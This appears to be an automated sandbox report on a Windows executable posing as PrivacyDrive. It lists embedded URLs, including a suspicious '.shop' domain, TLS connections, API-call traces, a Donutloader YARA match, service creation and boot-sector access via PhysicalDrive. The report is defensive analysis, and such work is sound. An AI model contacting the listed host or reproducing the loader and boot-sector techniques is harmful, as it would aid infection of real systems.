Source: bfINGx7hvL.exe, 00000000.00000002.2430889211.00000000014DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://defenddsouneuw.shop/pi/
Source: bfINGx7hvL.exe, 00000000.00000002.2430889211.00000000014F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://defenddsouneuw.shop:443/apid
Source: bfINGx7hvL.exe, 00000000.00000003.2162187941.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, bfINGx7hvL.exe, 00000000.00000003.2162187941.00000000015A5000.00000004.00000020.00020000.00000000.sdmp, bfINGx7hvL.exe, 00000000.00000003.2162474004.0000000001571000.00000004.00000020.00020000.00000000.sdmp, bfINGx7hvL.exe, 00000000.00000003.2163321984.00000000014EE000.00000004.00000020.00020000.00000000.sdmp, bfINGx7hvL.exe, 00000000.00000002.2430889211.00000000015A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: bfINGx7hvL.exe, 00000000.00000003.2162187941.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, bfINGx7hvL.exe, 00000000.00000003.2162187941.00000000015A5000.00000004.00000020.00020000.00000000.sdmp, bfINGx7hvL.exe, 00000000.00000003.2163321984.00000000014EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: bfINGx7hvL.exe	String found in binary or memory: https://www.cybertronsoft.com
Source: bfINGx7hvL.exe	String found in binary or memory: https://www.thawte.com/cps0
Source: bfINGx7hvL.exe	String found in binary or memory: https://www.thawte.com/cps0/
Source: bfINGx7hvL.exe	String found in binary or memory: https://www.thawte.com/repository0W

Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49717 version: TLS 1.2

Source: C:\Users\user\Desktop\bfINGx7hvL.exe

Code function: 0_2_00424260 OpenClipboard,GetClipboardData,CloseClipboard,

0_2_00424260

Source: C:\Users\user\Desktop\bfINGx7hvL.exe

Code function: 0_2_00424260 OpenClipboard,GetClipboardData,CloseClipboard,

0_2_00424260

Source: C:\Users\user\Desktop\bfINGx7hvL.exe

Code function: 0_2_00422070 GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,

0_2_00422070

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown

Source: C:\Users\user\Desktop\bfINGx7hvL.exe

Code function: 0_2_00FCC583 NtCreateSection,NtMapViewOfSection,VirtualAlloc,NtMapViewOfSection,VirtualProtect,VirtualProtect,VirtualProtect,

0_2_00FCC583

Source: C:\Users\user\Desktop\bfINGx7hvL.exe

Code function: 0_2_0045D070: RegCloseKey,DeviceIoControl,swprintf,CreateFileW,DeviceIoControl,_memset,DeviceIoControl,DeviceIoControl,DeviceIoControl,CloseHandle,

0_2_0045D070

Source: C:\Users\user\Desktop\bfINGx7hvL.exe

Code function: 0_2_0041D0B0 PathFileExistsW,OpenSCManagerW,GetLastError,OpenServiceW,CloseServiceHandle,CloseServiceHandle,DeleteService,CloseServiceHandle,CloseServiceHandle,GetLastError,CloseServiceHandle,CloseServiceHandle,

0_2_0041D0B0

Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_0050E640	0_2_0050E640
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_0043D090	0_2_0043D090
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_0050F158	0_2_0050F158
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_0050715B	0_2_0050715B
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_004E9350	0_2_004E9350
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_004133B0	0_2_004133B0
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_0049B470	0_2_0049B470
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_0050E674	0_2_0050E674
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_0044B630	0_2_0044B630
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_0051B680	0_2_0051B680
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_0045F770	0_2_0045F770
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_004237D0	0_2_004237D0
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_004C3850	0_2_004C3850
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_004C28B0	0_2_004C28B0
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_0050F955	0_2_0050F955
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_0050F974	0_2_0050F974
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_0044AB40	0_2_0044AB40
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_004AEBE0	0_2_004AEBE0
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_0040FD70	0_2_0040FD70
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00514E40	0_2_00514E40
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00441E60	0_2_00441E60
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00FCC583	0_2_00FCC583
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00F7055F	0_2_00F7055F
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00FA80E2	0_2_00FA80E2
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00F831C2	0_2_00F831C2
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00FBC2B2	0_2_00FBC2B2
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00F75292	0_2_00F75292
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00F7A252	0_2_00F7A252
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00FA8372	0_2_00FA8372
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00F7C402	0_2_00F7C402
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00FCD5C4	0_2_00FCD5C4
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00F9D652	0_2_00F9D652
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00FA9792	0_2_00FA9792
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00F798B2	0_2_00F798B2
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00F7E802	0_2_00F7E802
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00F9B99B	0_2_00F9B99B
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00F7CAE2	0_2_00F7CAE2
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00F7DA82	0_2_00F7DA82
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00FA9A42	0_2_00FA9A42
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00F73A08	0_2_00F73A08
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00F90B95	0_2_00F90B95
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00F72CB5	0_2_00F72CB5
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00FAFCA2	0_2_00FAFCA2
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00FB9DB2	0_2_00FB9DB2
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00F72D5B	0_2_00F72D5B
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00F76EFD	0_2_00F76EFD
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00F7BEE2	0_2_00F7BEE2
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00F76EB2	0_2_00F76EB2
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00F78EB2	0_2_00F78EB2
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00F72E8E	0_2_00F72E8E
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00F72E1A	0_2_00F72E1A
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00F72FB3	0_2_00F72FB3
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00F7CF72	0_2_00F7CF72
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_04261418	0_2_04261418
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_042654B0	0_2_042654B0
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_042674B0	0_2_042674B0
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_0426148C	0_2_0426148C
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_0426A4E0	0_2_0426A4E0
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_042654FB	0_2_042654FB

Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: String function: 00424910 appears 45 times
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: String function: 00418CF0 appears 92 times
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: String function: 004FFB7D appears 31 times
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: String function: 00F80862 appears 145 times
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: String function: 00439540 appears 36 times
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: String function: 00F7E5E2 appears 90 times
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: String function: 0041F120 appears 65 times
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: String function: 00406E50 appears 178 times
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: String function: 004C24A0 appears 135 times
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: String function: 0045EC80 appears 107 times
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: String function: 0052CF10 appears 37 times
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: String function: 00407150 appears 69 times
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: String function: 0045EEC0 appears 42 times
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: String function: 004FFB4F appears 47 times
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: String function: 00418AC0 appears 74 times

Source: C:\Users\user\Desktop\bfINGx7hvL.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5852 -s 624

Source: bfINGx7hvL.exe

Static PE information: invalid certificate

Source: bfINGx7hvL.exe

Binary or memory string: OriginalFilenamePrivacyDrive.exe< vs bfINGx7hvL.exe

Source: bfINGx7hvL.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13

Source: classification engine

Classification label: mal88.troj.evad.winEXE@4/13@3/1

Source: C:\Users\user\Desktop\bfINGx7hvL.exe

Code function: 0_2_004030E0 PeekMessageW,PeekMessageW,PeekMessageW,PeekMessageW,PeekMessageW,PeekMessageW,PeekMessageW,GetLastError,FormatMessageW,LocalFree,

0_2_004030E0

Source: C:\Users\user\Desktop\bfINGx7hvL.exe

Code function: 0_2_004D3270 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,CloseHandle,AdjustTokenPrivileges,CloseHandle,GetLastError,

0_2_004D3270

Source: C:\Users\user\Desktop\bfINGx7hvL.exe

Code function: 0_2_0043E991 GetVolumeInformationW,GetDiskFreeSpaceExW,

0_2_0043E991

Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: OpenSCManagerW,OpenSCManagerW,CloseServiceHandle,CloseServiceHandle,OpenSCManagerW,CloseServiceHandle,OpenSCManagerW,CloseServiceHandle,OpenSCManagerW,OpenSCManagerW,CreateServiceW,ChangeServiceConfig2W,CloseServiceHandle,CloseServiceHandle,OpenSCManagerW,CreateServiceW,ChangeServiceConfig2W,CloseServiceHandle,CloseServiceHandle,GetLastError,		0_2_0041D320
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: CreateServiceW,ChangeServiceConfig2W,SetLastError,		0_2_0041CE80

Source: C:\Users\user\Desktop\bfINGx7hvL.exe

Code function: 0_2_00F70C6F CreateToolhelp32Snapshot,Thread32First,Wow64SuspendThread,CloseHandle,

0_2_00F70C6F

Source: C:\Users\user\Desktop\bfINGx7hvL.exe

Code function: 0_2_0429F006 CoCreateInstance,

0_2_0429F006

Source: C:\Users\user\Desktop\bfINGx7hvL.exe

Code function: 0_2_004D3220 FindResourceW,SizeofResource,LoadResource,LockResource,

0_2_004D3220

Source: C:\Users\user\Desktop\bfINGx7hvL.exe

Code function: 0_2_0041D320 OpenSCManagerW,OpenSCManagerW,CloseServiceHandle,CloseServiceHandle,OpenSCManagerW,CloseServiceHandle,OpenSCManagerW,CloseServiceHandle,OpenSCManagerW,OpenSCManagerW,CreateServiceW,ChangeServiceConfig2W,CloseServiceHandle,CloseServiceHandle,OpenSCManagerW,CreateServiceW,ChangeServiceConfig2W,CloseServiceHandle,CloseServiceHandle,GetLastError,

0_2_0041D320

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5852

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\4ea943c0-003d-4a8e-93ad-b14c17a7f91a

Jump to behavior

Source: bfINGx7hvL.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\bfINGx7hvL.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\bfINGx7hvL.exe

File read: C:\Users\user\Desktop\bfINGx7hvL.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\bfINGx7hvL.exe "C:\Users\user\Desktop\bfINGx7hvL.exe"
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5852 -s 624
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5852 -s 1760
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5852 -s 200

Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: bfINGx7hvL.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: bfINGx7hvL.exe

Static file information: File size 2881672 > 1048576

Source: bfINGx7hvL.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x150400
Source: bfINGx7hvL.exe	Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x103800

Source: bfINGx7hvL.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: F:\PD3\bin\Release\PrivacyDrive.pdb source: bfINGx7hvL.exe
Source:	Binary string: F:\PD3\bin\Release\PrivacyDrive.pdbN source: bfINGx7hvL.exe

Source: C:\Users\user\Desktop\bfINGx7hvL.exe

Code function: 0_2_0050E640 LoadLibraryW,GetProcAddress,VirtualAlloc,

0_2_0050E640

Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_0041E2B0 push ecx; mov dword ptr [esp], 42C00000h	0_2_0041E4B6
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_0041E2B0 push ecx; mov dword ptr [esp], 42C00000h	0_2_0041E4F0
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_004CB540 push ecx; mov dword ptr [esp], 3F800000h	0_2_004CB572
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_0041E570 push ecx; mov dword ptr [esp], 3F800000h	0_2_0041E6F3
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00448697 pushfd ; iretd	0_2_004486A2
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_0041E7B0 push ecx; mov dword ptr [esp], 3F800000h	0_2_0041E99C
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00426880 push ecx; mov dword ptr [esp], 3F800000h	0_2_004268B2
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_004CB9E0 push ecx; mov dword ptr [esp], 3F800000h	0_2_004CBA12
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_0041EA60 push ecx; mov dword ptr [esp], 3F800000h	0_2_0041EC2B
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00419A00 push ecx; mov dword ptr [esp], 3F800000h	0_2_00419A34
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_004ECB30 push ecx; mov dword ptr [esp], 00000000h	0_2_004ECB42
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00486BD0 push ecx; mov dword ptr [esp], 3F800000h	0_2_00486C06
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00486BD0 push ecx; mov dword ptr [esp], 3F800000h	0_2_00486C2D
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00502C4E push ecx; ret	0_2_00502C61
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00506C25 push ecx; ret	0_2_00506C38
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_0041BFA0 push ecx; mov dword ptr [esp], 3F800000h	0_2_0041BFEB
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00FB2307 push ecx; retf	0_2_00FB2308

Persistence and Installation Behavior

Contains functionality to infect the boot sector

Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: RegCloseKey,DeviceIoControl,swprintf,CreateFileW,DeviceIoControl,_memset,DeviceIoControl,DeviceIoControl,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d		0_2_0045D070
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: RegCloseKey,CreateFileW,_memset,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d		0_2_0045CD20

Boot Survival

Contains functionality to infect the boot sector

Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: RegCloseKey,DeviceIoControl,swprintf,CreateFileW,DeviceIoControl,_memset,DeviceIoControl,DeviceIoControl,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d		0_2_0045D070
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: RegCloseKey,CreateFileW,_memset,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d		0_2_0045CD20

Source: C:\Users\user\Desktop\bfINGx7hvL.exe

Code function: 0_2_0041CDA0 QueryServiceStatus,CloseServiceHandle,Sleep,QueryServiceStatus,StartServiceW,GetLastError,Sleep,

0_2_0041CDA0

Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_004CDA40 SendMessageW,GetWindowRect,IsIconic,GetWindowRect,PostMessageW,IsZoomed,	0_2_004CDA40
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00489C60 IsWindowVisible,IsIconic,PostMessageW,IsIconic,	0_2_00489C60
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00489C60 IsWindowVisible,IsIconic,PostMessageW,IsIconic,	0_2_00489C60
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00489D10 IsWindowVisible,IsIconic,SendMessageW,IsIconic,SendMessageW,ShowWindow,IsWindow,IsWindow,IsWindow,IsWindow,PostMessageW,	0_2_00489D10
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00489D10 IsWindowVisible,IsIconic,SendMessageW,IsIconic,SendMessageW,ShowWindow,IsWindow,IsWindow,IsWindow,IsWindow,PostMessageW,	0_2_00489D10
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00417E90 IsWindow,GetWindowRect,IsWindow,IsWindowVisible,IsIconic,GetWindowRect,SetWindowPos,	0_2_00417E90

Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
